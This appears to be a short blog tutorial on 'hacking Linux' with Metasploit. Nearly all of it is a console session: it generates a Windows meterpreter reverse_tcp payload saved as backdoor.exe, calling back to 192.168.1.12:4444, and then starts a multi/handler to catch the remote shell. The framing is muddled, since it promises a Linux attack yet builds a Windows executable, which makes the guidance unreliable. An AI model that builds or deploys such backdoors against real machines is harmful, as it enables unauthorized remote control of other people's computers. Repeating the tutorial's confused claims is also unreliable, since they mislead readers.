Metasploit is a wonderful tool for penetration testing that contain a database of publicly known exploits for various operating system and software’s, we have discussed how to hack windows via metasploit on backtrack Linux but how to hack Linux (Ubuntu and any other Linux) via metasploit. Metasploit contain several exploits for Linux operating system too but we can windows exploit for Linux. This is the video tutorial in which I will show you how to hack a Linux operating system because in the penetration testing sometimes we need to get the root access on the server or computer.
[email protected]:~# msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.12 lport=4444 X > backdoor.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {“lhost”=>”192.168.1.12”, “lport”=>”4444”}
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.12
lhost => 192.168.1.12
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit[*] Started reverse handler on 192.168.1.12:4444
[*] Starting the payload handler…